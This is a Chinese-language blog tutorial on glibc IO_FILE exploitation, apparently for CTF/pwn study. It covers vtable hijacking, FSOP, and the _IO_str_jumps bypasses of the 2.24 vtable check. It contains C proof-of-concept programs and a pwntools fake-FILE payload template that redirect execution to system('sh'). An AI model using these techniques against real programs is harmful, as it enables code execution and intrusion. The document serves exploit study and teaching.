IO_FILE Exploit

FILE结构

FILE介绍

FILE是linux系统标I/O库中用于表示文件流的数据结构,称文件流

通过fopen等函数创建,分配在堆中

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;

size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
  • 进程中的FILE被_chain域彼此连接形成链表,头部为IO_list_all表示,通过其我们可以遍历进程中所有FILE结构

  • 初始状态:stdin、stdout、stderr文件流自动打开,所以初始时IO_list_all指向由这些文件构成的链表,需要注意的是这三个文件流位于libc.so的数据段

  • libc.so数据段上的符号指向FILE结构的指针,真正结构符号:

1
2
3
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
  • _IO_FILE_PLUS
    • 包裹着_IO_FILE的结构,还有指针vtable
1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

2.23下32位vtable偏移0x94,64位0xd8(相对结构体起始)

  • vtable类型为IO_jimp_t,IO_jump_t 保存的是一些函数的指针,在后面一系列IO函数中会调用这些指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

尽管每个 FILE 结构的地址不同,但它们共享同一个 vtable。vtable 是一个全局的函数指针数组,所有 FILE 结构的 vtable 指针都指向同一个全局 vtable。

fread

作用:从文件流中读数据

原型:

1
`size_t fread ( void *buffer, size_t size, size_t count, FILE *stream);
  • buffer:存放读取数据的缓冲区
  • size:指定长度
  • count:指定个数
  • stream:目标文件流
  • 返回值:返回读取到缓冲区中的记录个数

fread:位于/libio/iofread.c中,函数名为_IO_fread

1
2
3
4
5
6
7
8
9
10
11
_IO_size_t
_IO_fread (buf, size, count, fp)
void *buf;
_IO_size_t size;
_IO_size_t count;
_IO_FILE *fp;
{
...
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}

真正的实现在第9行,通过调用_IO_segtn子函数实现

1
2
3
4
5
6
7
8
_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}

而在这个子函数里又会调用_IO_XSGETN,这是_IO_FILE_plus.vatble中的函数指针,在调用这个函数时会先取出vtable中的指针再进行调用

默认情况下函数指针是指向 _IO_file_xsgetn函数的,用于处理普通文件的读取操作

fwrite

用于向文件流写入数据,原型:

1
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
  • buffer:写入地址
  • size:写入内容单字节数
  • count:写入size数据的个数
  • stream:目标文件指针
  • 返回值:实际写入个数

fwrite 代码函数名为 _IO_fwrite,通过调用 _IO_XSPUTN 实现

1
2
//_IO_fwrite中
written = _IO_sputn (fp, (const char *) buf,

该指针其位于 vtable 中,首先要取出其指针再跳去调用

_IO_XSPUTN 的默认实现为 _IO_new_file_xsputn

而 _IO_new_file_xsputn 会调用 _IO_OVERFLOW 来处理缓冲区溢出

1
2
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

而 _IO_OVERFLOW 的默认实现 _IO_new_file_overflow

然后 _IO_new_file_overflow 会调用 _IO_do_write 和 _IO_do_flush 来刷新缓冲区

1
2
3
4
5
6
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;

然后 _IO_new_file_overflow 内部最终会调用系统接口 write 函数

fopen

用于打开文件

原型

1
FILE *fopen(char *filename, *type);
  • filename:目标文件路径
  • type:打开方式
  • 返回值:返回一个文件指针

fopen 对应函数 __fopen_internal 内部调用 malloc 来分配 FILE 的空间

1
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

初始化 vtable 并且调用 _IO_file_init 进一步初始化操作

1
2
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

_IO_file_init 中,调用 _IO_link_in 把新分配的 FILE 结构链入链表

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_link_in (fp)
struct _IO_FILE_plus *fp;
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
}
}

最后 __fopen_internal 函数会调用 _IO_file_fopen 函数打开目标文件,_IO_file_fopen 会根据用户传入的打开模式进行打开操作,总之最后会调用到系统接口 open 函数

总结调用 fopen 时

  • malloc 分配 FILE 结构到堆区
  • 初始化 vtable 和FILE
  • 链入链表
  • 调用系统结构打开文件

这个没有调用 vtable 中的

fclose

顾名思义,关闭文件

原型:

1
int fclose(FILE *stream)
  • stream:目标文件流指针

功能:关闭文件流,把缓冲区剩余数据输出到磁盘文件中,释放文件指针和缓冲区

首先调用 _IO_unlink_it 将指定的 FILE 从 _chain 链表中脱链

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

之后调用 \_IO_file_close_it 调用系统接口 close 关闭文件

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);

最后调用 vtable 中 _IO_FINNSH,其对应 _IO_file_finish 函数会调用 free 释放掉之前分配的 FILE 结构

printf/puts

printf puts 是常用的输出函数,在 printf 的参数是以'\n'结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符(用于提高性能,puts 函数更简单)

puts 在源码中实现的函数是 _IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的 _IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。

printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现

1
2
3
4
5
6
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

伪造 vtable 来劫持程序流

方式

  • 直接改写vtable中函数指针
  • 覆盖vtable指针到我们控制的内存中,在其中布置函数指针

实践

修改 vtable 中指针

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");
}
  • 可以看到第8行修改vtable中第八项为 0x41414141 也就是 xsputn 为 0x41414141 这是 printf 调用时会调用的 vtable 中的指针,所以之后调用 printf 就会 call 0x41414141

修改vtable指针到可控内存上

在 vtable 函数进行调用时,传入的第一个参数是其对应 _IO_FILE_plus 地址

我们可以通过修改地址上的内容来实现给劫持的 vtable 函数传参

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn


fwrite("hi",2,1,fp);
}
  • 第 10 行我们将 sh 写入了 fp 指向的地方,也就是 _IO_FILE_plus 地址,配合我们后面劫持指针为 system 地址,最后 fwrite就会执行system("sh")

在2.23版本中位于libc数据段的vtable是不可写入的,但伪造vtable指针到我们自己创建的内存当中的方式还是可以实现的(也就是第二种方式)

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}
  • 第9行是我们自己分配的大块内存用于伪造 vtable,13行就是修改 vtable 到我们伪造的上面,15行将 sh 写到 fp上,也就是 _IO_FILE_plus 地址,17行修改 fwrite 要调用的 vtable 中的那个函数,这样最后执行 fwrite 就是system("sh")

FSOP

理论

FSOP:File Stream Oriented Rrogramming(文件流导向编程),通过前面可知进程内所有 _IO_FILE 结构会使用 _chain 来链成一个单向链表,头部是 _IO_list_all

  • 方式:

    • 通过伪造这个单向链表中的 _IO_FILE_plue 结构体,将其 vtable 指针指向我们伪造的 vtable 表
    • 接着将这个vtable中关键函数替换为恶意函数地址
    • 触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow
    • 触发 _IO_flush_all_lockp遍历 _IO_list_all链表
      • 访问伪造的 FILE 结构体 → 读取其 vtable 指针 → 定位到伪造的 vtable 表。从vtable取出恶意函数的指针,从而执行恶意代码
  • _IO_flush_all_lockp 的调用情况

  • libc执行abort流程时(一种程序发生严重错误会执行的流程)

  • 当执行exit函数时

  • 当执行流从main函数返回时

  • 为了使fake_file能够正常工作,我们需要布置一些其他的数据来通过检查

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);//分配0x200,前0x100伪造FILE,后0x100伪造vtable

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);//伪造一些必要的数据

*(long long*)((long long)ptr+0x100+24)=0x41414141;//将_IO_overflow改成0x41414141,24是在vtable表中的偏移

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);//通过exit调用_IO_flush_all_lockp去调用_IO_overflow,从而执行了0x41414141
}

总结

这里给出一个模板

1
2
vtable_addr=fake_file_addr+0x80+0x40+0x20
fakefile=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(_IO_list_all-0x10)+p64(3)+p64(4)+p64(0)*12+p64(0)+p64(0)*8+p64(vtable_addr)+p64(0)*3+p64(system_addr)

需要知道fakefile的地址

2.24下的利用

简介

在2.24版本中会对 vtable 合法性进行检查(调用虚函数前)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

首先检查 vtable 是否位于 IO_vtable 段中,如果满足就正常执行,不满足执行_IO_vtable_check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果是非法的就引发 abort

新技术

利用缓冲区的任意地址写

当 vtable 难以利用时,关注点来到 _IO_FILE 结构内部的域中, 里面是一些在使用标准 IO 库会创建并维护的相关信息,其中有些是 fwrite fread 等函数写入地址或读取地址的,控制这些就可以实现任意地址写/读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};

由于进程默认存在 stdin\stdout\stderr,所以不需要存在文件流

_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址 ,要利用的就是这两个

示例

1
2
3
4
5
6
7
8
9
10
11
#include "stdio.h"

char buf[100];

int main()
{
char stack_buf[100];
scanf("%s",stack_buf);
scanf("%s",stack_buf);

}

第一次stdin前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2088  0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable

内容全是空的,未初始化

调用 scanf 后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010 起始地址
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 结束地址 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0

可以看到被初始化了

接着我们修改起始和结束地址为 stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0

然后读入的数据就会写到该位置去

1
2
3
4
5
0x7ffff7dd2740 <buf>:   0x00000a6161616161  0x0000000000000000
0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000

_IO_str_jumps -> overflow

libc不只有 _IO_file_jumps,还有 _IO_str_jumps,该 vtable 不在 check 的范围内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

如果我们设置vtable为这个,就可以调用不一样的文件操作函数

这里以 _IO_str_overflow为例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

执行的关键在

1
(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

需要通过的一些条件

  1. fp->_flags & _IO_NO_WRITES为假
  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
    1. new_size来源 size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100
    2. 而#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
  6. fp+0xe0 指向 system 地址

构造

1
2
3
4
5
6
7
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) //如果/bin/sh地址以奇数结尾可以+1以避免向下取整
fp->_IO_write_ptr = 0xffffffff
fp->_IO_write_base = 0
fp->_mode = 0

system 也可以用 one_gadgets 来替代,貌似更简单一点

然后想办法触发即可。可以修改 vtable 让原本 _IO_overflow 处的地址变成 _IO_str_overflow ,也就是修改 vtbale 为 _IO_str_jumps ,接着按以前的触发 _IO_overflow

_IO_str_jumps -> finish

道理同上

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)); //[fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

检查:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造

1
2
3
4
5
6
7
8
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

fp+0xe8 -> system_addr

触发同上修改 vtbale 为 _IO_str_jumps-8


IO_FILE Exploit
http://yyyffff.github.io/2025/05/19/IO_FILE Exploit/
作者
yyyffff
发布于
2025年5月19日
许可协议